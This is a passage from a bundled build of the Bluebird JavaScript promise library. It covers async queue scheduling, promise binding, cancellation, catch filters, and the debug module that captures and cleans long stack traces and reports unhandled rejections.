throw new Error("No async scheduler available\u000a\u000a See http://goo.gl/MqrFmX\u000a");
}
};
function AsyncInvokeLater(fn, receiver, arg) {
this._lateQueue.push(fn, receiver, arg);
this._queueTick();
}
function AsyncInvoke(fn, receiver, arg) {
this._normalQueue.push(fn, receiver, arg);
this._queueTick();
}
function AsyncSettlePromises(promise) {
this._normalQueue._pushOne(promise);
this._queueTick();
}
if (!util.hasDevTools) {
Async.prototype.invokeLater = AsyncInvokeLater;
Async.prototype.invoke = AsyncInvoke;
Async.prototype.settlePromises = AsyncSettlePromises;
} else {
Async.prototype.invokeLater = function (fn, receiver, arg) {
if (this._trampolineEnabled) {
AsyncInvokeLater.call(this, fn, receiver, arg);
} else {
this._schedule(function() {
setTimeout(function() {
fn.call(receiver, arg);
}, 100);
});
}
};
Async.prototype.invoke = function (fn, receiver, arg) {
if (this._trampolineEnabled) {
AsyncInvoke.call(this, fn, receiver, arg);
} else {
this._schedule(function() {
fn.call(receiver, arg);
});
}
};
Async.prototype.settlePromises = function(promise) {
if (this._trampolineEnabled) {
AsyncSettlePromises.call(this, promise);
} else {
this._schedule(function() {
promise._settlePromises();
});
}
};
}
Async.prototype._drainQueue = function(queue) {
while (queue.length() > 0) {
var fn = queue.shift();
if (typeof fn !== "function") {
fn._settlePromises();
continue;
}
var receiver = queue.shift();
var arg = queue.shift();
fn.call(receiver, arg);
}
};
Async.prototype._drainQueues = function () {
this._drainQueue(this._normalQueue);
this._reset();
this._haveDrainedQueues = true;
this._drainQueue(this._lateQueue);
};
Async.prototype._queueTick = function () {
if (!this._isTickUsed) {
this._isTickUsed = true;
this._schedule(this.drainQueues);
}
};
Async.prototype._reset = function () {
this._isTickUsed = false;
};
module.exports = Async;
module.exports.firstLineError = firstLineError;
},{"./queue":17,"./schedule":18,"./util":21}],2:[function(_dereq_,module,exports){
"use strict";
module.exports = function(Promise, INTERNAL, tryConvertToPromise, debug) {
var calledBind = false;
var rejectThis = function(_, e) {
this._reject(e);
};
var targetRejected = function(e, context) {
context.promiseRejectionQueued = true;
context.bindingPromise._then(rejectThis, rejectThis, null, this, e);
};
var bindingResolved = function(thisArg, context) {
if (((this._bitField & 50397184) === 0)) {
this._resolveCallback(context.target);
}
};
var bindingRejected = function(e, context) {
if (!context.promiseRejectionQueued) this._reject(e);
};
Promise.prototype.bind = function (thisArg) {
if (!calledBind) {
calledBind = true;
Promise.prototype._propagateFrom = debug.propagateFromFunction();
Promise.prototype._boundValue = debug.boundValueFunction();
}
var maybePromise = tryConvertToPromise(thisArg);
var ret = new Promise(INTERNAL);
ret._propagateFrom(this, 1);
var target = this._target();
ret._setBoundTo(maybePromise);
if (maybePromise instanceof Promise) {
var context = {
promiseRejectionQueued: false,
promise: ret,
target: target,
bindingPromise: maybePromise
};
target._then(INTERNAL, targetRejected, undefined, ret, context);
maybePromise._then(
bindingResolved, bindingRejected, undefined, ret, context);
ret._setOnCancel(maybePromise);
} else {
ret._resolveCallback(target);
}
return ret;
};
Promise.prototype._setBoundTo = function (obj) {
if (obj !== undefined) {
this._bitField = this._bitField | 2097152;
this._boundTo = obj;
} else {
this._bitField = this._bitField & (~2097152);
}
};
Promise.prototype._isBound = function () {
return (this._bitField & 2097152) === 2097152;
};
Promise.bind = function (thisArg, value) {
return Promise.resolve(value).bind(thisArg);
};
};
},{}],3:[function(_dereq_,module,exports){
"use strict";
var old;
if (typeof Promise !== "undefined") old = Promise;
function noConflict() {
try { if (Promise === bluebird) Promise = old; }
catch (e) {}
return bluebird;
}
var bluebird = _dereq_("./promise")();
bluebird.noConflict = noConflict;
module.exports = bluebird;
},{"./promise":15}],4:[function(_dereq_,module,exports){
"use strict";
module.exports = function(Promise, PromiseArray, apiRejection, debug) {
var util = _dereq_("./util");
var tryCatch = util.tryCatch;
var errorObj = util.errorObj;
var async = Promise._async;
Promise.prototype["break"] = Promise.prototype.cancel = function() {
if (!debug.cancellation()) return this._warn("cancellation is disabled");
var promise = this;
var child = promise;
while (promise._isCancellable()) {
if (!promise._cancelBy(child)) {
if (child._isFollowing()) {
child._followee().cancel();
} else {
child._cancelBranched();
}
break;
}
var parent = promise._cancellationParent;
if (parent == null || !parent._isCancellable()) {
if (promise._isFollowing()) {
promise._followee().cancel();
} else {
promise._cancelBranched();
}
break;
} else {
if (promise._isFollowing()) promise._followee().cancel();
promise._setWillBeCancelled();
child = promise;
promise = parent;
}
}
};
Promise.prototype._branchHasCancelled = function() {
this._branchesRemainingToCancel--;
};
Promise.prototype._enoughBranchesHaveCancelled = function() {
return this._branchesRemainingToCancel === undefined ||
this._branchesRemainingToCancel <= 0;
};
Promise.prototype._cancelBy = function(canceller) {
if (canceller === this) {
this._branchesRemainingToCancel = 0;
this._invokeOnCancel();
return true;
} else {
this._branchHasCancelled();
if (this._enoughBranchesHaveCancelled()) {
this._invokeOnCancel();
return true;
}
}
return false;
};
Promise.prototype._cancelBranched = function() {
if (this._enoughBranchesHaveCancelled()) {
this._cancel();
}
};
Promise.prototype._cancel = function() {
if (!this._isCancellable()) return;
this._setCancelled();
async.invoke(this._cancelPromises, this, undefined);
};
Promise.prototype._cancelPromises = function() {
if (this._length() > 0) this._settlePromises();
};
Promise.prototype._unsetOnCancel = function() {
this._onCancelField = undefined;
};
Promise.prototype._isCancellable = function() {
return this.isPending() && !this._isCancelled();
};
Promise.prototype.isCancellable = function() {
return this.isPending() && !this.isCancelled();
};
Promise.prototype._doInvokeOnCancel = function(onCancelCallback, internalOnly) {
if (util.isArray(onCancelCallback)) {
for (var i = 0; i < onCancelCallback.length; ++i) {
this._doInvokeOnCancel(onCancelCallback[i], internalOnly);
}
} else if (onCancelCallback !== undefined) {
if (typeof onCancelCallback === "function") {
if (!internalOnly) {
var e = tryCatch(onCancelCallback).call(this._boundValue());
if (e === errorObj) {
this._attachExtraTrace(e.e);
async.throwLater(e.e);
}
}
} else {
onCancelCallback._resultCancelled(this);
}
}
};
Promise.prototype._invokeOnCancel = function() {
var onCancelCallback = this._onCancel();
this._unsetOnCancel();
async.invoke(this._doInvokeOnCancel, this, onCancelCallback);
};
Promise.prototype._invokeInternalOnCancel = function() {
if (this._isCancellable()) {
this._doInvokeOnCancel(this._onCancel(), true);
this._unsetOnCancel();
}
};
Promise.prototype._resultCancelled = function() {
this.cancel();
};
};
},{"./util":21}],5:[function(_dereq_,module,exports){
"use strict";
module.exports = function(NEXT_FILTER) {
var util = _dereq_("./util");
var getKeys = _dereq_("./es5").keys;
var tryCatch = util.tryCatch;
var errorObj = util.errorObj;
function catchFilter(instances, cb, promise) {
return function(e) {
var boundTo = promise._boundValue();
predicateLoop: for (var i = 0; i < instances.length; ++i) {
var item = instances[i];
if (item === Error ||
(item != null && item.prototype instanceof Error)) {
if (e instanceof item) {
return tryCatch(cb).call(boundTo, e);
}
} else if (typeof item === "function") {
var matchesPredicate = tryCatch(item).call(boundTo, e);
if (matchesPredicate === errorObj) {
return matchesPredicate;
} else if (matchesPredicate) {
return tryCatch(cb).call(boundTo, e);
}
} else if (util.isObject(e)) {
var keys = getKeys(item);
for (var j = 0; j < keys.length; ++j) {
var key = keys[j];
if (item[key] != e[key]) {
continue predicateLoop;
}
}
return tryCatch(cb).call(boundTo, e);
}
}
return NEXT_FILTER;
};
}
return catchFilter;
};
},{"./es5":10,"./util":21}],6:[function(_dereq_,module,exports){
"use strict";
module.exports = function(Promise) {
var longStackTraces = false;
var contextStack = [];
Promise.prototype._promiseCreated = function() {};
Promise.prototype._pushContext = function() {};
Promise.prototype._popContext = function() {return null;};
Promise._peekContext = Promise.prototype._peekContext = function() {};
function Context() {
this._trace = new Context.CapturedTrace(peekContext());
}
Context.prototype._pushContext = function () {
if (this._trace !== undefined) {
this._trace._promiseCreated = null;
contextStack.push(this._trace);
}
};
Context.prototype._popContext = function () {
if (this._trace !== undefined) {
var trace = contextStack.pop();
var ret = trace._promiseCreated;
trace._promiseCreated = null;
return ret;
}
return null;
};
function createContext() {
if (longStackTraces) return new Context();
}
function peekContext() {
var lastIndex = contextStack.length - 1;
if (lastIndex >= 0) {
return contextStack[lastIndex];
}
return undefined;
}
Context.CapturedTrace = null;
Context.create = createContext;
Context.deactivateLongStackTraces = function() {};
Context.activateLongStackTraces = function() {
var Promise_pushContext = Promise.prototype._pushContext;
var Promise_popContext = Promise.prototype._popContext;
var Promise_PeekContext = Promise._peekContext;
var Promise_peekContext = Promise.prototype._peekContext;
var Promise_promiseCreated = Promise.prototype._promiseCreated;
Context.deactivateLongStackTraces = function() {
Promise.prototype._pushContext = Promise_pushContext;
Promise.prototype._popContext = Promise_popContext;
Promise._peekContext = Promise_PeekContext;
Promise.prototype._peekContext = Promise_peekContext;
Promise.prototype._promiseCreated = Promise_promiseCreated;
longStackTraces = false;
};
longStackTraces = true;
Promise.prototype._pushContext = Context.prototype._pushContext;
Promise.prototype._popContext = Context.prototype._popContext;
Promise._peekContext = Promise.prototype._peekContext = peekContext;
Promise.prototype._promiseCreated = function() {
var ctx = this._peekContext();
if (ctx && ctx._promiseCreated == null) ctx._promiseCreated = this;
};
};
return Context;
};
},{}],7:[function(_dereq_,module,exports){
"use strict";
module.exports = function(Promise, Context) {
var getDomain = Promise._getDomain;
var async = Promise._async;
var Warning = _dereq_("./errors").Warning;
var util = _dereq_("./util");
var canAttachTrace = util.canAttachTrace;
var unhandledRejectionHandled;
var possiblyUnhandledRejection;
var bluebirdFramePattern =
/[\\\/]bluebird[\\\/]js[\\\/](release|debug|instrumented)/;
var nodeFramePattern = /\((?:timers\.js):\d+:\d+\)/;
var parseLinePattern = /[\/<\(](.+?):(\d+):(\d+)\)?\s*$/;
var stackFramePattern = null;
var formatStack = null;
var indentStackFrames = false;
var printWarning;
var debugging = !!(util.env("BLUEBIRD_DEBUG") != 0 &&
(true ||
util.env("BLUEBIRD_DEBUG") ||
util.env("NODE_ENV") === "development"));
var warnings = !!(util.env("BLUEBIRD_WARNINGS") != 0 &&
(debugging || util.env("BLUEBIRD_WARNINGS")));
var longStackTraces = !!(util.env("BLUEBIRD_LONG_STACK_TRACES") != 0 &&
(debugging || util.env("BLUEBIRD_LONG_STACK_TRACES")));
var wForgottenReturn = util.env("BLUEBIRD_W_FORGOTTEN_RETURN") != 0 &&
(warnings || !!util.env("BLUEBIRD_W_FORGOTTEN_RETURN"));
Promise.prototype.suppressUnhandledRejections = function() {
var target = this._target();
target._bitField = ((target._bitField & (~1048576)) |
524288);
};
Promise.prototype._ensurePossibleRejectionHandled = function () {
if ((this._bitField & 524288) !== 0) return;
this._setRejectionIsUnhandled();
async.invokeLater(this._notifyUnhandledRejection, this, undefined);
};
Promise.prototype._notifyUnhandledRejectionIsHandled = function () {
fireRejectionEvent("rejectionHandled",
unhandledRejectionHandled, undefined, this);
};
Promise.prototype._setReturnedNonUndefined = function() {
this._bitField = this._bitField | 268435456;
};
Promise.prototype._returnedNonUndefined = function() {
return (this._bitField & 268435456) !== 0;
};
Promise.prototype._notifyUnhandledRejection = function () {
if (this._isRejectionUnhandled()) {
var reason = this._settledValue();
this._setUnhandledRejectionIsNotified();
fireRejectionEvent("unhandledRejection",
possiblyUnhandledRejection, reason, this);
}
};
Promise.prototype._setUnhandledRejectionIsNotified = function () {
this._bitField = this._bitField | 262144;
};
Promise.prototype._unsetUnhandledRejectionIsNotified = function () {
this._bitField = this._bitField & (~262144);
};
Promise.prototype._isUnhandledRejectionNotified = function () {
return (this._bitField & 262144) > 0;
};
Promise.prototype._setRejectionIsUnhandled = function () {
this._bitField = this._bitField | 1048576;
};
Promise.prototype._unsetRejectionIsUnhandled = function () {
this._bitField = this._bitField & (~1048576);
if (this._isUnhandledRejectionNotified()) {
this._unsetUnhandledRejectionIsNotified();
this._notifyUnhandledRejectionIsHandled();
}
};
Promise.prototype._isRejectionUnhandled = function () {
return (this._bitField & 1048576) > 0;
};
Promise.prototype._warn = function(message, shouldUseOwnTrace, promise) {
return warn(message, shouldUseOwnTrace, promise || this);
};
Promise.onPossiblyUnhandledRejection = function (fn) {
var domain = getDomain();
possiblyUnhandledRejection =
typeof fn === "function" ? (domain === null ?
fn : util.domainBind(domain, fn))
: undefined;
};
Promise.onUnhandledRejectionHandled = function (fn) {
var domain = getDomain();
unhandledRejectionHandled =
typeof fn === "function" ? (domain === null ?
fn : util.domainBind(domain, fn))
: undefined;
};
var disableLongStackTraces = function() {};
Promise.longStackTraces = function () {
if (async.haveItemsQueued() && !config.longStackTraces) {
throw new Error("cannot enable long stack traces after promises have been created\u000a\u000a See http://goo.gl/MqrFmX\u000a");
}
if (!config.longStackTraces && longStackTracesIsSupported()) {
var Promise_captureStackTrace = Promise.prototype._captureStackTrace;
var Promise_attachExtraTrace = Promise.prototype._attachExtraTrace;
config.longStackTraces = true;
disableLongStackTraces = function() {
if (async.haveItemsQueued() && !config.longStackTraces) {
throw new Error("cannot enable long stack traces after promises have been created\u000a\u000a See http://goo.gl/MqrFmX\u000a");
}
Promise.prototype._captureStackTrace = Promise_captureStackTrace;
Promise.prototype._attachExtraTrace = Promise_attachExtraTrace;
Context.deactivateLongStackTraces();
async.enableTrampoline();
config.longStackTraces = false;
};
Promise.prototype._captureStackTrace = longStackTracesCaptureStackTrace;
Promise.prototype._attachExtraTrace = longStackTracesAttachExtraTrace;
Context.activateLongStackTraces();
async.disableTrampolineIfNecessary();
}
};
Promise.hasLongStackTraces = function () {
return config.longStackTraces && longStackTracesIsSupported();
};
var fireDomEvent = (function() {
try {
if (typeof CustomEvent === "function") {
var event = new CustomEvent("CustomEvent");
util.global.dispatchEvent(event);
return function(name, event) {
var domEvent = new CustomEvent(name.toLowerCase(), {
detail: event,
cancelable: true
});
return !util.global.dispatchEvent(domEvent);
};
} else if (typeof Event === "function") {
var event = new Event("CustomEvent");
util.global.dispatchEvent(event);
return function(name, event) {
var domEvent = new Event(name.toLowerCase(), {
cancelable: true
});
domEvent.detail = event;
return !util.global.dispatchEvent(domEvent);
};
} else {
var event = document.createEvent("CustomEvent");
event.initCustomEvent("testingtheevent", false, true, {});
util.global.dispatchEvent(event);
return function(name, event) {
var domEvent = document.createEvent("CustomEvent");
domEvent.initCustomEvent(name.toLowerCase(), false, true,
event);
return !util.global.dispatchEvent(domEvent);
};
}
} catch (e) {}
return function() {
return false;
};
})();
var fireGlobalEvent = (function() {
if (util.isNode) {
return function() {
return process.emit.apply(process, arguments);
};
} else {
if (!util.global) {
return function() {
return false;
};
}
return function(name) {
var methodName = "on" + name.toLowerCase();
var method = util.global[methodName];
if (!method) return false;
method.apply(util.global, [].slice.call(arguments, 1));
return true;
};
}
})();
function generatePromiseLifecycleEventObject(name, promise) {
return {promise: promise};
}
var eventToObjectGenerator = {
promiseCreated: generatePromiseLifecycleEventObject,
promiseFulfilled: generatePromiseLifecycleEventObject,
promiseRejected: generatePromiseLifecycleEventObject,
promiseResolved: generatePromiseLifecycleEventObject,
promiseCancelled: generatePromiseLifecycleEventObject,
promiseChained: function(name, promise, child) {
return {promise: promise, child: child};
},
warning: function(name, warning) {
return {warning: warning};
},
unhandledRejection: function (name, reason, promise) {
return {reason: reason, promise: promise};
},
rejectionHandled: generatePromiseLifecycleEventObject
};
var activeFireEvent = function (name) {
var globalEventFired = false;
try {
globalEventFired = fireGlobalEvent.apply(null, arguments);
} catch (e) {
async.throwLater(e);
globalEventFired = true;
}
var domEventFired = false;
try {
domEventFired = fireDomEvent(name,
eventToObjectGenerator[name].apply(null, arguments));
} catch (e) {
async.throwLater(e);
domEventFired = true;
}
return domEventFired || globalEventFired;
};
Promise.config = function(opts) {
opts = Object(opts);
if ("longStackTraces" in opts) {
if (opts.longStackTraces) {
Promise.longStackTraces();
} else if (!opts.longStackTraces && Promise.hasLongStackTraces()) {
disableLongStackTraces();
}
}
if ("warnings" in opts) {
var warningsOption = opts.warnings;
config.warnings = !!warningsOption;
wForgottenReturn = config.warnings;
if (util.isObject(warningsOption)) {
if ("wForgottenReturn" in warningsOption) {
wForgottenReturn = !!warningsOption.wForgottenReturn;
}
}
}
if ("cancellation" in opts && opts.cancellation && !config.cancellation) {
if (async.haveItemsQueued()) {
throw new Error(
"cannot enable cancellation after promises are in use");
}
Promise.prototype._clearCancellationData =
cancellationClearCancellationData;
Promise.prototype._propagateFrom = cancellationPropagateFrom;
Promise.prototype._onCancel = cancellationOnCancel;
Promise.prototype._setOnCancel = cancellationSetOnCancel;
Promise.prototype._attachCancellationCallback =
cancellationAttachCancellationCallback;
Promise.prototype._execute = cancellationExecute;
propagateFromFunction = cancellationPropagateFrom;
config.cancellation = true;
}
if ("monitoring" in opts) {
if (opts.monitoring && !config.monitoring) {
config.monitoring = true;
Promise.prototype._fireEvent = activeFireEvent;
} else if (!opts.monitoring && config.monitoring) {
config.monitoring = false;
Promise.prototype._fireEvent = defaultFireEvent;
}
}
return Promise;
};
function defaultFireEvent() { return false; }
Promise.prototype._fireEvent = defaultFireEvent;
Promise.prototype._execute = function(executor, resolve, reject) {
try {
executor(resolve, reject);
} catch (e) {
return e;
}
};
Promise.prototype._onCancel = function () {};
Promise.prototype._setOnCancel = function (handler) { ; };
Promise.prototype._attachCancellationCallback = function(onCancel) {
;
};
Promise.prototype._captureStackTrace = function () {};
Promise.prototype._attachExtraTrace = function () {};
Promise.prototype._clearCancellationData = function() {};
Promise.prototype._propagateFrom = function (parent, flags) {
;
;
};
function cancellationExecute(executor, resolve, reject) {
var promise = this;
try {
executor(resolve, reject, function(onCancel) {
if (typeof onCancel !== "function") {
throw new TypeError("onCancel must be a function, got: " +
util.toString(onCancel));
}
promise._attachCancellationCallback(onCancel);
});
} catch (e) {
return e;
}
}
function cancellationAttachCancellationCallback(onCancel) {
if (!this._isCancellable()) return this;
var previousOnCancel = this._onCancel();
if (previousOnCancel !== undefined) {
if (util.isArray(previousOnCancel)) {
previousOnCancel.push(onCancel);
} else {
this._setOnCancel([previousOnCancel, onCancel]);
}
} else {
this._setOnCancel(onCancel);
}
}
function cancellationOnCancel() {
return this._onCancelField;
}
function cancellationSetOnCancel(onCancel) {
this._onCancelField = onCancel;
}
function cancellationClearCancellationData() {
this._cancellationParent = undefined;
this._onCancelField = undefined;
}
function cancellationPropagateFrom(parent, flags) {
if ((flags & 1) !== 0) {
this._cancellationParent = parent;
var branchesRemainingToCancel = parent._branchesRemainingToCancel;
if (branchesRemainingToCancel === undefined) {
branchesRemainingToCancel = 0;
}
parent._branchesRemainingToCancel = branchesRemainingToCancel + 1;
}
if ((flags & 2) !== 0 && parent._isBound()) {
this._setBoundTo(parent._boundTo);
}
}
function bindingPropagateFrom(parent, flags) {
if ((flags & 2) !== 0 && parent._isBound()) {
this._setBoundTo(parent._boundTo);
}
}
var propagateFromFunction = bindingPropagateFrom;
function boundValueFunction() {
var ret = this._boundTo;
if (ret !== undefined) {
if (ret instanceof Promise) {
if (ret.isFulfilled()) {
return ret.value();
} else {
return undefined;
}
}
}
return ret;
}
function longStackTracesCaptureStackTrace() {
this._trace = new CapturedTrace(this._peekContext());
}
function longStackTracesAttachExtraTrace(error, ignoreSelf) {
if (canAttachTrace(error)) {
var trace = this._trace;
if (trace !== undefined) {
if (ignoreSelf) trace = trace._parent;
}
if (trace !== undefined) {
trace.attachExtraTrace(error);
} else if (!error.__stackCleaned__) {
var parsed = parseStackAndMessage(error);
util.notEnumerableProp(error, "stack",
parsed.message + "\n" + parsed.stack.join("\n"));
util.notEnumerableProp(error, "__stackCleaned__", true);
}
}
}
function checkForgottenReturns(returnValue, promiseCreated, name, promise,
parent) {
if (returnValue === undefined && promiseCreated !== null &&
wForgottenReturn) {
if (parent !== undefined && parent._returnedNonUndefined()) return;
if ((promise._bitField & 65535) === 0) return;
if (name) name = name + " ";
var handlerLine = "";
var creatorLine = "";
if (promiseCreated._trace) {
var traceLines = promiseCreated._trace.stack.split("\n");
var stack = cleanStack(traceLines);
for (var i = stack.length - 1; i >= 0; --i) {
var line = stack[i];
if (!nodeFramePattern.test(line)) {
var lineMatches = line.match(parseLinePattern);
if (lineMatches) {
handlerLine = "at " + lineMatches[1] +
":" + lineMatches[2] + ":" + lineMatches[3] + " ";
}
break;
}
}
if (stack.length > 0) {
var firstUserLine = stack[0];
for (var i = 0; i < traceLines.length; ++i) {
if (traceLines[i] === firstUserLine) {
if (i > 0) {
creatorLine = "\n" + traceLines[i - 1];
}
break;
}
}
}
}
var msg = "a promise was created in a " + name +
"handler " + handlerLine + "but was not returned from it, " +
"see http://goo.gl/rRqMUw" +
creatorLine;
promise._warn(msg, true, promiseCreated);
}
}
function deprecated(name, replacement) {
var message = name +
" is deprecated and will be removed in a future version.";
if (replacement) message += " Use " + replacement + " instead.";
return warn(message);
}
function warn(message, shouldUseOwnTrace, promise) {
if (!config.warnings) return;
var warning = new Warning(message);
var ctx;
if (shouldUseOwnTrace) {
promise._attachExtraTrace(warning);
} else if (config.longStackTraces && (ctx = Promise._peekContext())) {
ctx.attachExtraTrace(warning);
} else {
var parsed = parseStackAndMessage(warning);
warning.stack = parsed.message + "\n" + parsed.stack.join("\n");
}
if (!activeFireEvent("warning", warning)) {
formatAndLogError(warning, "", true);
}
}
function reconstructStack(message, stacks) {
for (var i = 0; i < stacks.length - 1; ++i) {
stacks[i].push("From previous event:");
stacks[i] = stacks[i].join("\n");
}
if (i < stacks.length) {
stacks[i] = stacks[i].join("\n");
}
return message + "\n" + stacks.join("\n");
}
function removeDuplicateOrEmptyJumps(stacks) {
for (var i = 0; i < stacks.length; ++i) {
if (stacks[i].length === 0 ||
((i + 1 < stacks.length) && stacks[i][0] === stacks[i+1][0])) {
stacks.splice(i, 1);
i--;
}
}
}
function removeCommonRoots(stacks) {
var current = stacks[0];
for (var i = 1; i < stacks.length; ++i) {
var prev = stacks[i];
var currentLastIndex = current.length - 1;
var currentLastLine = current[currentLastIndex];
var commonRootMeetPoint = -1;
for (var j = prev.length - 1; j >= 0; --j) {
if (prev[j] === currentLastLine) {
commonRootMeetPoint = j;
break;
}
}
for (var j = commonRootMeetPoint; j >= 0; --j) {
var line = prev[j];
if (current[currentLastIndex] === line) {
current.pop();
currentLastIndex--;
} else {
break;
}
}
current = prev;
}
}
function cleanStack(stack) {
var ret = [];
for (var i = 0; i < stack.length; ++i) {
var line = stack[i];
var isTraceLine = " (No stack trace)" === line ||
stackFramePattern.test(line);
var isInternalFrame = isTraceLine && shouldIgnore(line);
if (isTraceLine && !isInternalFrame) {
if (indentStackFrames && line.charAt(0) !== " ") {
line = " " + line;
}
ret.push(line);
}
}
return ret;
}
function stackFramesAsArray(error) {
var stack = error.stack.replace(/\s+$/g, "").split("\n");
for (var i = 0; i < stack.length; ++i) {
var line = stack[i];
if (" (No stack trace)" === line || stackFramePattern.test(line)) {
break;
}
}
if (i > 0 && error.name != "SyntaxError") {
stack = stack.slice(i);
}
return stack;
}
function parseStackAndMessage(error) {
var stack = error.stack;
var message = error.toString();
stack = typeof stack === "string" && stack.length > 0
? stackFramesAsArray(error) : [" (No stack trace)"];
return {
message: message,
stack: error.name == "SyntaxError" ? stack : cleanStack(stack)
};
}
function formatAndLogError(error, title, isSoft) {
if (typeof console !== "undefined") {
var message;
if (util.isObject(error)) {
var stack = error.stack;
message = title + formatStack(stack, error);
} else {
message = title + String(error);
}
if (typeof printWarning === "function") {
printWarning(message, isSoft);
} else if (typeof console.log === "function" ||
typeof console.log === "object") {
console.log(message);
}
}
}
function fireRejectionEvent(name, localHandler, reason, promise) {
var localEventFired = false;
try {
if (typeof localHandler === "function") {
localEventFired = true;
if (name === "rejectionHandled") {
localHandler(promise);
} else {
localHandler(reason, promise);
}
}
} catch (e) {
async.throwLater(e);
}
if (name === "unhandledRejection") {
if (!activeFireEvent(name, reason, promise) && !localEventFired) {
formatAndLogError(reason, "Unhandled rejection ");
}
} else {
activeFireEvent(name, promise);
}
}
function formatNonError(obj) {
var str;
if (typeof obj === "function") {
str = "[function " +
(obj.name || "anonymous") +
"]";
} else {
str = obj && typeof obj.toString === "function"
? obj.toString() : util.toString(obj);
var ruselessToString = /\[object [a-zA-Z0-9$_]+\]/;
if (ruselessToString.test(str)) {
try {
var newStr = JSON.stringify(obj);
str = newStr;
}
catch(e) {
}
}
if (str.length === 0) {
str = "(empty array)";
}
}
return ("(<" + snip(str) + ">, no stack trace)");
}
function snip(str) {
var maxChars = 41;
if (str.length < maxChars) {
return str;
}
return str.substr(0, maxChars - 3) + "...";
}
function longStackTracesIsSupported() {
return typeof captureStackTrace === "function";
}
var shouldIgnore = function() { return false; };
var parseLineInfoRegex = /[\/<\(]([^:\/]+):(\d+):(?:\d+)\)?\s*$/;
function parseLineInfo(line) {
var matches = line.match(parseLineInfoRegex);
if (matches) {
return {
fileName: matches[1],
line: parseInt(matches[2], 10)
};
}
}
function setBounds(firstLineError, lastLineError) {
if (!longStackTracesIsSupported()) return;
var firstStackLines = firstLineError.stack.split("\n");
var lastStackLines = lastLineError.stack.split("\n");
var firstIndex = -1;
var lastIndex = -1;
var firstFileName;
var lastFileName;
for (var i = 0; i < firstStackLines.length; ++i) {
var result = parseLineInfo(firstStackLines[i]);
if (result) {
firstFileName = result.fileName;
firstIndex = result.line;
break;
}
}
for (var i = 0; i < lastStackLines.length; ++i) {
var result = parseLineInfo(lastStackLines[i]);
if (result) {
lastFileName = result.fileName;
lastIndex = result.line;
break;
}
}
if (firstIndex < 0 || lastIndex < 0 || !firstFileName || !lastFileName ||
firstFileName !== lastFileName || firstIndex >= lastIndex) {
return;
}
shouldIgnore = function(line) {
if (bluebirdFramePattern.test(line)) return true;
var info = parseLineInfo(line);
if (info) {
if (info.fileName === firstFileName &&
(firstIndex <= info.line && info.line <= lastIndex)) {
return true;
}
}
return false;
};
}
function CapturedTrace(parent) {
this._parent = parent;
this._promisesCreated = 0;
var length = this._length = 1 + (parent === undefined ? 0 : parent._length);
captureStackTrace(this, CapturedTrace);
if (length > 32) this.uncycle();
}
util.inherits(CapturedTrace, Error);
Context.CapturedTrace = CapturedTrace;
CapturedTrace.prototype.uncycle = function() {
var length = this._length;
if (length < 2) return;
var nodes = [];
var stackToIndex = {};
for (var i = 0, node = this; node !== undefined; ++i) {
nodes.push(node);
node = node._parent;
}
length = this._length = i;
for (var i = length - 1; i >= 0; --i) {
var stack = nodes[i].stack;
if (stackToIndex[stack] === undefined) {
stackToIndex[stack] = i;
}
}
for (var i = 0; i < length; ++i) {
var currentStack = nodes[i].stack;
var index = stackToIndex[currentStack];
if (index !== undefined && index !== i) {
if (index > 0) {
nodes[index - 1]._parent = undefined;
nodes[index - 1]._length = 1;
}
nodes[i]._parent = undefined;
nodes[i]._length = 1;
var cycleEdgeNode = i > 0 ? nodes[i - 1] : this;
if (index < length - 1) {
cycleEdgeNode._parent = nodes[index + 1];
cycleEdgeNode._parent.uncycle();
cycleEdgeNode._length =
cycleEdgeNode._parent._length + 1;
} else {
cycleEdgeNode._parent = undefined;
cycleEdgeNode._length = 1;
}
var currentChildLength = cycleEdgeNode._length + 1;
for (var j = i - 2; j >= 0; --j) {
nodes[j]._length = currentChildLength;
currentChildLength++;
}
return;
}
}
};
CapturedTrace.prototype.attachExtraTrace = function(error) {
if (error.__stackCleaned__) return;
this.uncycle();
var parsed = parseStackAndMessage(error);
var message = parsed.message;
var stacks = [parsed.stack];
var trace = this;
while (trace !== undefined) {
stacks.push(cleanStack(trace.stack.split("\n")));
trace = trace._parent;
}
removeCommonRoots(stacks);
removeDuplicateOrEmptyJumps(stacks);
util.notEnumerableProp(error, "stack", reconstructStack(message, stacks));
util.notEnumerableProp(error, "__stackCleaned__", true);
};
var captureStackTrace = (function stackDetection() {
var v8stackFramePattern = /^\s*at\s*/;
var v8stackFormatter = function(stack, error) {
if (typeof stack === "string") return stack;
if (error.name !== undefined &&
error.message !== undefined) {
return error.toString();
}
return formatNonError(error);
};
if (typeof Error.stackTraceLimit === "number" &&
typeof Error.captureStackTrace === "function") {
Error.stackTraceLimit += 6;
stackFramePattern = v8stackFramePattern;
formatStack = v8stackFormatter;
var captureStackTrace = Error.captureStackTrace;
shouldIgnore = function(line) {
return bluebirdFramePattern.test(line);
};
return function(receiver, ignoreUntil) {
Error.stackTraceLimit += 6;
captureStackTrace(receiver, ignoreUntil);
Error.stackTraceLimit -= 6;
};
}
var err = new Error();
if (typeof err.stack === "string" &&
err.stack.split("\n")[0].indexOf("stackDetection@") >= 0) {
stackFramePattern = /@/;
formatStack = v8stackFormatter;
indentStackFrames = true;
return function captureStackTrace(o) {
o.stack = new Error().stack;
};
}
var hasStackAfterThrow;
try { throw new Error(); }
catch(e) {
hasStackAfterThrow = ("stack" in e);
}
if (!("stack" in err) && hasStackAfterThrow &&
typeof Error.stackTraceLimit === "number") {
stackFramePattern = v8stackFramePattern;
formatStack = v8stackFormatter;
return function captureStackTrace(o) {
Error.stackTraceLimit += 6;
try { throw new Error(); }
catch(e) { o.stack = e.stack; }
Error.stackTraceLimit -= 6;
};
}
formatStack = function(stack, error) {
if (typeof stack === "string") return stack;
if ((typeof error === "object" ||
typeof error === "function") &&
error.name !== undefined &&
error.message !== undefined) {
return error.toString();
}
return formatNonError(error);
};
return null;
})([]);
if (typeof console !== "undefined" && typeof console.warn !== "undefined") {
printWarning = function (message) {
console.warn(message);
};
if (util.isNode && process.stderr.isTTY) {
printWarning = function(message, isSoft) {
var color = isSoft ? "\u001b[33m" : "\u001b[31m";
console.warn(color + message + "\u001b[0m\n");
};
} else if (!util.isNode && typeof (new Error().stack) === "string") {
printWarning = function(message, isSoft) {
console.warn("%c" + message,
isSoft ? "color: darkorange" : "color: red");
};
}
}
var config = {
warnings: warnings,
longStackTraces: false,
cancellation: false,
monitoring: false
};
if (longStackTraces) Promise.longStackTraces();
return {
longStackTraces: function() {
return config.longStackTraces;
},
warnings: function() {
return config.warnings;
},
cancellation: function() {
